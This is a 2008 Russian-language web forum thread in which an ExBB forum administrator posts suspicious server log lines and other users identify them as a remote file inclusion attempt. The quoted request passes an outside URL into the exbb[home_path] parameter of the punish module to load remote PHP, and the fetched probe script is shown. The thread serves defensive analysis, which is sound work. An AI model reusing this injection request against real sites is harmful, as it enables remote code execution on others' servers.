Strict Standards: Resource ID#18 used as offset, casting to integer (18) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401

Strict Standards: Resource ID#23 used as offset, casting to integer (23) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401

Strict Standards: Resource ID#25 used as offset, casting to integer (25) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401

Strict Standards: Resource ID#26 used as offset, casting to integer (26) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/fm.class.php on line 401
ТвойWeb :: Хак?
ТвойWeb ТвойWeb
Качественный Европейский хостинг
 Форум для чайников
 Чат на форуме      Помощь      Поиск      Пользователи


 Страниц (2): [1] 2 » 

> Описание: Странный лог
Поиск в теме | Версия для печати
Axel Breitung
Отправлено: 07 Ноября, 2008 - 09:24:16
Post Id



ExBB Team


Покинул форум
Сообщений всего: 313
Дата рег-ции: Авг. 2008  

Карма 0




 Может я преувеличиваю, но всеже меня смутил лог. Я недавно статейку читал где описывалась уязвимость PHP, тоесть как заливать шелл и как его использовать. Для хака нужен был другой хостинг... Ну вобщем смотрю я лог ошибок и вижу практически ту статейку:

CODE:
[error] [client 58.227.192.80] File does not exist: /home/breit/domains/mt-80club.ru/public_html/


Потом в обычном логе ищу по IPшнику и нахожу это:

CODE:
"GET /%20%20//modules/punish/p_error.php?exbb[home_path]=http://www.minart.org/bbs/data/ids.txt?


Смутило обращение к текстовику... Смотрю что в текстовике:

CODE:
<?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>


Что это за фигня такая? Притом заметил, что права на файлы странным образом сменились 755, хотя были 644
 
 Top
Axel Breitung
Отправлено: 07 Ноября, 2008 - 13:00:07
Post Id



ExBB Team


Покинул форум
Сообщений всего: 313
Дата рег-ции: Авг. 2008  

Карма 0




 сорри, но подымаю тему... Опять повторяется Однако
 
 Top
sergey144010
Отправлено: 07 Ноября, 2008 - 15:57:32
Post Id


Newbie


Покинул форум
Сообщений всего: 31
Дата рег-ции: Февр. 2008  

Карма 0




 повторяется что конкретно, по подробнее...

punish это что за мод?

на запросы типа
CODE:
p_error.php?exbb[home_path]=http://www.minart.org/bbs/data/ids.txt?

у меня HAK ATTAK
вроде всё нормально

вообще меня смущает exbb[home_path] и весь файл txt
что то там смысла я неуловлю,

давай весь лог сюда

разберём по частям, то что ты напостил
CODE:

[error] [client 58.227.192.80] File does not exist: /home/breit/domains/mt-80club.ru/public_html/

ето означает , что такой директории на сервере нет
CODE:

"GET /%20%20//modules/punish/p_error.php?exbb[home_path]=http://www.minart.org/bbs/data/ids.txt?

это какаято хрень, в надежде выполнить файл тхт

а файл тхт вообще какаято хрень, он должен возвращать вот этот текст - FeeLCoMz

вообщем пока непонятно мне
 
 Top
Axel Breitung
Отправлено: 07 Ноября, 2008 - 16:52:21
Post Id



ExBB Team


Покинул форум
Сообщений всего: 313
Дата рег-ции: Авг. 2008  

Карма 0
sergey144010 пишет:
повторяется что конкретно, по подробнее...


А все именно в той последовательности что я написал... Только в этот раз IP другой

Я сначала в еррор логе увидел

CODE:
[error] [client 58.227.192.80] File does not exist: /home/breit/domains/mt-80club.ru/public_html/


Я и сам поянл что такой дирректории нет, потому обратил внимание на IP.
И зашел в обычный лог и с помощью поиска по ip нашел строку

CODE:
"GET /%20%20//modules/punish/p_error.php?exbb[home_path]=http://www.minart.org/bbs/data/ids.txt?


Сразу скажу, что меня не первый раз хакнуть пытаются, от банального подбора паролей, до ддос атак, потому и слежу за логами...

sergey144010 пишет:
вообщем пока непонятно мне


Мне тоже непонятно...
Статейку про уязв. РНР читал здесь, может найдете что общего? http://old.antichat.ru/txt/old/dhgroup/PHP.shtml
 
 Top
Axel Breitung
Отправлено: 07 Ноября, 2008 - 16:54:35
Post Id



ExBB Team


Покинул форум
Сообщений всего: 313
Дата рег-ции: Авг. 2008  

Карма 0
sergey144010 пишет:
punish это что за мод?


Вроде штрафы... Но у меня максимум по одному штрафу у форумчан... тактчо злых быть недолжно
 
 Top
sergey144010
Отправлено: 07 Ноября, 2008 - 17:21:31
Post Id


Newbie


Покинул форум
Сообщений всего: 31
Дата рег-ции: Февр. 2008  

Карма 0




 выложи код файла своего p_error.php
 
 Top
Axel Breitung
Отправлено: 07 Ноября, 2008 - 17:32:22
Post Id



ExBB Team


Покинул форум
Сообщений всего: 313
Дата рег-ции: Авг. 2008  

Карма 0
CODE:
<?php
if (!defined('IN_EXBB')) die('Hack attempt!');

if ($fm->exbb['punish'] === TRUE && isset($fm->user['punned']) && ($total_pun = count($fm->user['punned'])) !== 0) {
include('modules/punish/data/config.php');
$fm->_LoadModuleLang('punish');
if ($total_pun == 5){
$fm->_Message($fm->LANG['MainMsg'],$fm->LANG['PunYouBlocked']);
}
if ($total_pun == 4 && ((time() - $fm->user['lastpun'])/86400) <= FM_PUNISH4){
$fm->_Message($fm->LANG['MainMsg'],sprintf($fm->LANG['PunYouBlockedDay'], FM_PUNISH4));
}
if ($total_pun == 3 && ((time()-$fm->user['lastpun'])/86400)<= FM_PUNISH3){
$fm->_Message($fm->LANG['MainMsg'],sprintf($fm->LANG['PunYouBlockedDay'], FM_PUNISH3));
}
}
?>
 
 Top
sergey144010
Отправлено: 07 Ноября, 2008 - 17:43:34
Post Id


Newbie


Покинул форум
Сообщений всего: 31
Дата рег-ции: Февр. 2008  

Карма 0




 пока незнаю что сказать, ничего особенного
 
 Top
yura3d
Отправлено: 08 Ноября, 2008 - 03:00:10
Post Id


Super Member


Покинул форум
Сообщений всего: 624
Дата рег-ции: Июль 2007  
Откуда: Минск, Беларусь

Карма 17




 Axel Breitung
Это действительно хак, точнее попытка хака. На Вашем сервере пытались выполнить вражеский скрипт, подставляя путь к нему в переменную, которая должна содержать полный путь до скриптов форума на сервере. Но вся проблема в том, что в ExBB FM 1.0 Beta эта переменная не используется, поэтому данный метод взлома работать не будет
 
 Top
Axel Breitung
Отправлено: 08 Ноября, 2008 - 04:32:46
Post Id



ExBB Team


Покинул форум
Сообщений всего: 313
Дата рег-ции: Авг. 2008  

Карма 0




 yura3d, спасибо за разъяснение! Растерялся
Еще такой вопросик, целью этого хака было получить права сервера и творить все что угодно?
Мне просто интересно кто это делал, либо вольные хацкеры у которых руки чешутся что-нибудь хакнуть прочитав статейку (типа той на которую я ссылку дал), либо целенаправленно мои конкуренты? Нахмурился

sergey144010, спасибо за желание помочь! Улыбка
 
 Top
Поиск в теме | Версия для печати
Страниц (2): [1] 2 »
Сейчас эту тему просматривают: 6 (гостей: 6, зарегистрированных: 0, скрытых: 0)
« ExBB - лучший форум на файлах »


Все гости форума могут просматривать этот раздел.
Только администраторы и модераторы могут создавать новые темы в этом разделе.
Только администраторы и модераторы могут отвечать на сообщения в этом разделе.



Форум на AlfaSpace.NET


Powered by ExBB
ExBB FM 1.0 RC1 by TvoyWeb.ru
InvisionExBB Style converted by Markus®
[Script Execution time: 0.047]     [ Gzipped ]



Notice: ob_end_flush(): failed to send buffer of ob_gzhandler (1) in /home/tvoyweb/domains/tvoyweb.ru/public_html/forums/include/page_tail.php on line 33